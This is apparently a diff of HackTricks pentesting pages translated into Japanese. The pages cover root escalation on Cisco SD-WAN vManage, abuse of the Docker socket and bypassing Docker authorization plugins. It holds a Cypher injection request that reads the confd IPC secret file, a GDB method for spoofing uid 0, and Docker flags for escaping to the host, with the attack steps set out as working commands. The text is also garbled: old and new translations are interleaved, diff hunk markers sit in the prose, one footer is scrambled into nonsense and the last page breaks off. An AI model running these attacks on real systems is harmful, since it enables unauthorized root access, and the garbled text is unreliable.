* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## パス1
## Path 1
(例: [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
少し調査した後、`confd`および異なるバイナリに関連する[ドキュメント](http://66.218.245.39/doc/html/rn03re18.html)Ciscoのウェブサイトのアカウントでアクセス可能を見つけました。IPCソケットを認証するために、`/etc/confd/confd_ipc_secret`にあるシークレットを使用することがわかりました。
少し掘り下げて、`confd`およびさまざまなバイナリに関連する[ドキュメント](http://66.218.245.39/doc/html/rn03re18.html)を調べたところ、IPCソケットを認証するために、`/etc/confd/confd_ipc_secret`にある秘密を使用していることがわかりました。
```
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
```
以下は、ハッキング技術に関する内容です。ファイルlinux-hardening/privilege-escalation/cisco-vmanage.mdからのコンテンツです。
---
当社のNeo4jインスタンスを覚えていますか それは `vmanage` ユーザーの特権で実行されているため、以前の脆弱性を使用してファイルを取得できます:
私たちのNeo4jインスタンスを覚えていますかそれは`vmanage`ユーザーの権限で実行されているため、前の脆弱性を使用してファイルを取得することができます:
```
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
@ -38,9 +37,7 @@ Host: vmanage-XXXXXX.viptela.net
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
```
```md
The `confd_cli`プログラムはコマンドライン引数をサポートしていませんが、引数を指定して`/usr/bin/confd_cli_user`を呼び出します。したがって、独自の引数セットで`/usr/bin/confd_cli_user`を直接呼び出すことができます。ただし、現在の権限では読み取ることができないため、rootfsから取得してscpを使用してコピーし、ヘルプを読んでシェルを取得する必要があります
```
`confd_cli` プログラムはコマンドライン引数をサポートしていませんが、引数付きで `/usr/bin/confd_cli_user` を呼び出します。したがって、独自の引数セットで `/usr/bin/confd_cli_user` を直接呼び出すことができます。しかし、現在の権限では読み取れないため、rootfs から取得し、scp を使用してコピーし、ヘルプを読み、シェルを取得するために使用する必要があります:
```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
@ -58,13 +55,13 @@ vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
```
## パス2
## Path 2
(例:[https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)からの引用)
(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
synacktivチームによるブログ¹では、ルートシェルを取得するためのエレガントな方法が説明されていますが、注意点として、ルートによってのみ読み取り可能な`/usr/bin/confd_cli_user`のコピーを取得する必要があります。私は、そのような手間をかけずにルートに昇格する別の方法を見つけました。
synacktivチームによるブログ¹は、rootシェルを取得するための洗練された方法を説明しましたが、その注意点は、rootのみが読み取れる`/usr/bin/confd_cli_user`のコピーを取得する必要があることです。私は、そのような手間をかけずにrootに昇格する別の方法を見つけました。
`/usr/bin/confd_cli`バイナリを分解すると、次のようなことがわかりました:
`/usr/bin/confd_cli`バイナリを逆アセンブルしたとき、私は以下のことを観察しました:
```
vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
@ -94,25 +91,20 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
```
When I run “ps aux”, I observed the following (_note -g 100 -u 107_)
---
日本語訳:
「ps aux」を実行すると、以下のような結果が得られました_note -g 100 -u 107_
「ps aux」を実行したとき、次のことを観察しました_note -g 100 -u 107_
```
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
```
の仮説では、ログインユーザーから収集したユーザーIDとグループIDを「cmdptywrapper」アプリケーションに渡す「confd_cli」プログラムがあると考えました。
は「confd\_cli」プログラムがログインユーザーから収集したユーザーIDとグループIDを「cmdptywrapper」アプリケーションに渡すと仮定しました。
最初の試みは「cmdptywrapper」を直接実行し、`-g 0 -u 0`を指定して実行することでしたが、失敗しました。途中でファイルディスクリプタ(-i 1015が作成されたようで、それを偽装することできません。
最初の試みは「cmdptywrapper」を直接実行し、`-g 0 -u 0`を指定することでしたが、失敗しました。どこかの時点でファイルディスクリプタ(-i 1015が作成されたようで、それを偽装することできません。
synacktivのブログ最後の例言及されているように、`confd_cli`プログラムはコマンドライン引数をサポートしていませんが、デバッガを使用して影響を与えることができ、システムには幸運なことにGDBが含まれています。
synacktivのブログ最後の例述べられているように、`confd_cli`プログラムはコマンドライン引数をサポートしていませんが、デバッガを使って影響を与えることができ、幸運なことにGDBがシステムに含まれています。
私はGDBスクリプトを作成し、API `getuid`と`getgid`を強制的に0を返すようにしました。すでに逆シリアル化RCEを介して「vmanage」特権を持っているため、`/etc/confd/confd_ipc_secret`を直接読む権限があります。
私はGDBスクリプトを作成し、API `getuid`と`getgid`が0を返すように強制しました。すでにデシリアライズRCEを通じて「vmanage」権限を持っているため、`/etc/confd/confd_ipc_secret`を直接読み取る権限があります。
root.gdb:
```
@ -166,14 +158,17 @@ root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,28 +1,33 @@
# Dockerソケットの悪用による権限昇格
# Dockerソケットを悪用した特権昇格
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
Dockerソケットに**アクセスできる**場合があり、それを使用して**権限を昇格**したいと思うことがあります。いくつかのアクションは非常に怪しいかもしれませんので、避けたいと思うかもしれません。ここでは、権限を昇格するために役立つさまざまなフラグを見つけることができます:
Dockerソケットに**アクセス**できる場合があり、それを使用して**特権を昇格**させたい場合があります。いくつかのアクションは非常に疑わしい可能性があるため、避けたい場合があります。ここでは、特権を昇格させるのに役立つさまざまなフラグを見つけることができます。
### マウントを介して
rootとして実行されているコンテナ内で**ファイルシステム**の異なる部分を**マウント**し、それに**アクセス**することができます。\
また、コンテナ内で権限を昇格するためにマウントを**悪用**することもできます。
ルートとして実行されているコンテナ内で**ファイルシステム**の異なる部分を**マウント**し、それに**アクセス**できます。\
マウントを悪用してコンテナ内で特権を昇格させることもできます。
* **`-v /:/host`** -> ホストファイルシステムをコンテナにマウントして、**ホストファイルシステムを読む**ことができます。
* コンテナにいながら**ホストにいるように感じたい**場合は、以下のようなフラグを使用して他の防御メカニズムを無効にすることができます:
* **`-v /:/host`** -> ホストファイルシステムをコンテナにマウントし、**ホストのファイルシステムを読み取る**ことができます。
* **ホストにいるように感じたいが、コンテナにいる場合**は、次のフラグを使用して他の防御メカニズムを無効にできます:
* `--privileged`
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -32,41 +37,46 @@ rootとして実行されているコンテナ内で**ファイルシステム**
* `--userns=host`
* `--uts=host`
* `--cgroupns=host`
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> これは前述の方法と似ていますが、ここでは**デバイスディスクをマウント**しています。その後、コンテナ内で`mount /dev/sda1 /mnt`を実行し、`/mnt`で**ホストファイルシステムにアクセス**できます。
* マウントする`</dev/sda1>`デバイスを見つけるためにホストで`fdisk -l`を実行します。
* **`-v /tmp:/host`** -> 何らかの理由でホストのディレクトリを**マウントすることしかできない**場合、それをマウントして、マウントされたディレクトリに**suidを持つ`/bin/bash`**を作成し、ホストから実行して**rootに昇格**します。
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> これは前の方法に似ていますが、ここでは**デバイスディスクをマウント**しています。次に、コンテナ内で`mount /dev/sda1 /mnt`を実行すると、**/mnt**で**ホストのファイルシステムにアクセス**できます。
* ホストで`fdisk -l`を実行して、マウントする`</dev/sda1>`デバイスを見つけます。
* **`-v /tmp:/host`** -> 何らかの理由で**ホストから特定のディレクトリのみをマウント**でき、ホスト内にアクセスできる場合は、それをマウントし、マウントされたディレクトリに**suid**を持つ**`/bin/bash`**を作成して、**ホストから実行してrootに昇格**できます。
{% hint style="info" %}
`/tmp`フォルダをマウントできないかもしれませんが、**異なる書き込み可能なフォルダ**をマウントできることに注意してください。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null`を使用します。
おそらく`/tmp`フォルダをマウントできないかもしれませんが、**異なる書き込み可能なフォルダ**をマウントできる場合があります。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null`を使用します。
**すべてのディレクトリがsuidビットをサポートしているわけではないことに注意してください!** suidビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"`を実行します。例えば通常、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、`/var/lib/lxcfs`はsuidビットをサポートしていません。
**Linuxマシンのすべてのディレクトリがsuidビットをサポートするわけではありません!** suidビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"`を実行します。たとえば、通常`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および`/var/lib/lxcfs`はsuidビットをサポートしていません。
また、**`/etc`**や他の**設定ファイルを含むフォルダ**を**マウントできる**場合、dockerコンテナ内でrootとしてそれらを変更し、ホストで**悪用して権限を昇格**することができます(例えば`/etc/shadow`を変更することによって)
また、**`/etc`**や**設定ファイルを含む他のフォルダ**を**マウント**できる場合、コンテナ内でrootとしてそれらを変更し、**ホストで悪用して特権を昇格**させることができます(たとえば、`/etc/shadow`を変更する)。
{% endhint %}
### コンテナからの脱出
* **`--privileged`** -> このフラグを使用すると、[コンテナからすべての隔離を取り除く](docker-privileged.md#what-affects)ことができます。rootとして[特権コンテナから脱出する](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)テクニックを確認してください
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [機能を悪用して権限を昇格する](../linux-capabilities.md)ために、**その機能をコンテナに付与**し、エクスプロイトが機能するのを防ぐ可能性のある他の保護方法を無効にします。
* **`--privileged`** -> このフラグを使用すると、[コンテナからのすべての隔離を削除します](docker-privileged.md#what-affects)。特権コンテナからrootとして脱出するための技術を確認してください。[特権コンテナからの脱出](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [能力を悪用して昇格するために](../linux-capabilities.md)、**その能力をコンテナに付与し、エクスプロイトが機能するのを妨げる可能性のある他の保護方法を無効にします。**
### Curl
このページでは、dockerフラグを使用して権限を昇格する方法について議論しました。curlコマンドを使用してこれらの方法を悪用する方法については、以下のページで見つけることができます
このページでは、dockerフラグを使用して特権を昇格させる方法について説明しました。**curl**コマンドを使用してこれらの方法を悪用する方法を見つけることができます。
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,83 +1,88 @@
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<dotsilp>
HackTricksをサポートする他の方法
<oummpr>SupportHackTricks</smmay>
* **HackTricksで企業を宣伝する**または**HackTricksをPDFでダウンロードする**には、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
**Dockerの**デフォルトの**認可**モデルは**すべてまたは何も**です。Dockerデーモンにアクセス権限を持つ任意のユーザーは**任意の**Dockerクライアント**コマンド**を実行できます。同じことが、DockerのEngine APIを使用してデーモンに連絡する呼び出し元にも当てはまります。より**細かいアクセス制御**が必要な場合、**認可プラグイン**を作成し、Dockerデーモン構成に追加できます。認可プラグインを使用すると、Docker管理者はDockerデーモンへのアクセスを管理するための**細かいアクセス**ポリシーを構成できます。
**Dockerの**標準**認可**モデルは**全か無か**です。Dockerデーモンにアクセスする権限を持つユーザーは、**任意の**Dockerクライアント**コマンド**を**実行**できます。DockerのエンジンAPIを使用してデーモンに接続する呼び出し元にも同様のことが言えます。**より高いアクセス制御**が必要な場合は、**認可プラグイン**を作成し、Dockerデーモンの設定に追加できます。認可プラグインを使用する、Docker管理者はDockerデーモンへのアクセスを管理するための**詳細なアクセス**ポリシーを**設定**できます。
# 基本的なアーキテクチャ
# 基本アーキテクチャ
Docker Authプラグインは**外部**の**プラグイン**であり、Dockerデーモンに要求された**アクション**を**許可/拒否**するために使用できます。これは、要求した**ユーザー**と**要求されたアクション**に応じて、Dockerデーモンに要求された**アクション**を**許可/拒否**することができます。
Docker Authプラグインは**外部**の**プラグイン**であり、**ユーザー**と**要求されたアクション**に応じて、Dockerデーモンに対する**アクション**を**許可/拒否**するために使用できます。
**[以下の情報はドキュメントから](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[以下の情報はドキュメントからのものです](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
CLIを介してまたはEngine APIを介してDockerデーモンに**HTTPリクエスト**が行われると、**認証**サブシステムはインストールされた**認証**プラグインにリクエストを渡します。リクエストにはユーザー(呼び出し元)とコマンドコンテキストが含まれます。**プラグイン**は、リクエストを**許可**または**拒否**するかを決定する責任があります。
**HTTP** **リクエスト**がCLIまたはエンジンAPIを介してDocker**デーモン**に送信されると、**認証** **サブシステム**はリクエストをインストールされた**認証** **プラグイン**に**渡します**。リクエストにはユーザー(呼び出し元)とコマンドコンテキストが含まれています。**プラグイン**は、リクエストを**許可**するか**拒否**するかを決定する責任があります。
以下のシーケンス図は、許可および拒否の認可フローを示しています:
以下のシーケンス図は、許可拒否の認可フローを示しています:
![認可許可フロー](https://docs.docker.com/engine/extend/images/authz\_allow.png)
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png)
![認可拒否フロー](https://docs.docker.com/engine/extend/images/authz\_deny.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png)
プラグインに送信される各リクエストには、認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディが含まれます。プラグインに渡されるのは**ユーザー名**と使用された**認証方法**だけです。最も重要なのは、ユーザーの**資格情報**やトークンは渡されないことです。最後に、認可プラグインに送信されるのは、`Content-Type`が`text/*`または`application/json`であるリクエスト/レスポンスボディのみす。
プラグインに送信される各リクエストには、**認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディ**が含まれます。**ユーザー名**と**使用された認証方法**のみがプラグインに渡されます。最も重要なのは、**ユーザーの** **資格情報**やトークンは渡されないことです。最後に、**すべてのリクエスト/レスポンスボディが**認可プラグインに送信されるわけではありません。`Content-Type`が`text/*`または`application/json`であるリクエスト/レスポンスボディのみが送信されます。
`exec`などのHTTP接続を乗っ取る可能性のあるコマンドに対して`HTTPアップグレード`など)、認可プラグインは最初のHTTPリクエストのみに対して呼び出されます。プラグインがコマンドを承認すると、残りのフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`などのチャンク化されたHTTPレスポンスを返すコマンドに対しては、HTTPリクエストのみが認可プラグインに送信されます。
HTTP接続をハイジャックする可能性のあるコマンド`HTTP Upgrade`)に対しては、`exec`のように、認可プラグインは最初のHTTPリクエストに対してのみ呼び出されます。プラグインがコマンドを承認すると、その後のフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`のようにチャンク化されたHTTPレスポンスを返すコマンドに対しては、HTTPリクエストのみが認可プラグインに送信されます。
リクエスト/レスポンス処理中、一部の認可フローではDockerデーモンへの追加のクエリが必要になる場合があります。このようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加のクエリを有効にするには、プラグインは管理者が適切な認証およびセキュリティポリシーを構成できる手段を提供する必要があります。
リクエスト/レスポンス処理中に、一部の認可フローはDockerデーモンに追加のクエリを行う必要がある場合があります。そのようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加クエリを有効にするために、プラグインは管理者が適切な認証とセキュリティポリシーを設定できる手段を提供する必要があります。
## 複数のプラグイン
Dockerデーモンの**起動**の一部として**プラグイン****登録**する責任があります。**複数のプラグインをインストールし、それらを連結**することができます。このチェーンは順序付けられることができます。デーモンへの各リクエストは、チェーンを通過して順番に処理されます。リソースへのアクセスがすべてのプラグインによって許可される場合のみ、アクセスが許可されます。
あなたは、Dockerデーモンの**起動**の一部として**プラグインを登録**する責任があります。**複数のプラグインをインストールし、連鎖させる**ことができます。この連鎖は順序付けることができます。デーモンへの各リクエストは、順番にチェーンを通過します。**すべてのプラグインがリソースへのアクセスを許可**したときのみ、アクセスが許可されます。
# プラグインの例
## Twistlock AuthZ Broker
プラグイン[**authz**](https://github.com/twistlock/authz)を使用すると、**JSON**ファイルを作成して、リクエストを承認するために**プラグイン**が**読み取る**ことができます。したがって、各ユーザーがどのAPIエンドポイントに到達できるかを非常に簡単に制御できます。
プラグイン[**authz**](https://github.com/twistlock/authz)を使用すると、**リクエストを認可するために**プラグインが**読み取る**シンプルな**JSON**ファイルを作成できます。したがって、どのAPIエンドポイントが各ユーザーに到達できるかを非常に簡単に制御する機会を提供します。
以下は、AliceとBobが新しいコンテナを作成できるようにする例です:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
これは、アリスとボブが新しいコンテナを作成できるようにする例です:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
ページ[route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go)では、要求されたURLとアクションの関係を見つけることができます。ページ[types.go](https://github.com/twistlock/authz/blob/master/core/types.go)では、アクション名とアクションの関係を見つけることができます
ページ[route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go)では、要求されたURLとアクションの関係を見つけることができます。ページ[types.go](https://github.com/twistlock/authz/blob/master/core/types.go)では、アクション名とアクションの関係を見つけることができます
## シンプルプラグインチュートリアル
## シンプルプラグインチュートリアル
インストールとデバッグに関する詳細情報を含む**理解しやすいプラグイン**をこちらで見つけることができます:[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
インストールとデバッグに関する詳細情報を含む**理解しやすいプラグイン**をこちらで見つけることができます:[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
`README`と`plugin.go`のコードを読んで、どのように動作するかを理解してください。
`README`と`plugin.go`のコードを読んで、どのように機能しているかを理解してください。
# Docker Authプラグインバイパス
# Docker Authプラグインバイパス
## アクセスの列挙
確認する主なポイントは**許可されているエンドポイント**と**許可されているHostConfigの値**です。
確認すべき主な点は、**どのエンドポイントが許可されているか**と**どのHostConfigの値が許可されているか**です。
この列挙を実行するには、[**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)というツールを使用できます。
この列挙を行うには、**ツール**[**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**を使用できます。**
## 許可されていない `run --privileged`
## 許可されていない`run --privileged`
### 最小権限
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### コンテナを実行し特権セッションを取得する
### コンテナを実行し、その後特権セッションを取得する
この場合、システム管理者はユーザーがボリュームをマウントしたり、`--privileged`フラグを使用してコンテナを実行したり、コンテナに追加の権限を与えることを禁止しています。
この場合、sysadminは**ユーザーがボリュームをマウントし、`--privileged`フラグを使用してコンテナを実行することを禁止した**り、コンテナに追加の権限を与えたりしました:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
しかし、ユーザーは実行中のコンテナ内でシェルを作成し、追加の特権を与えることができます:
しかし、ユーザーは**実行中のコンテナ内にシェルを作成し、追加の権限を与えることができます**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
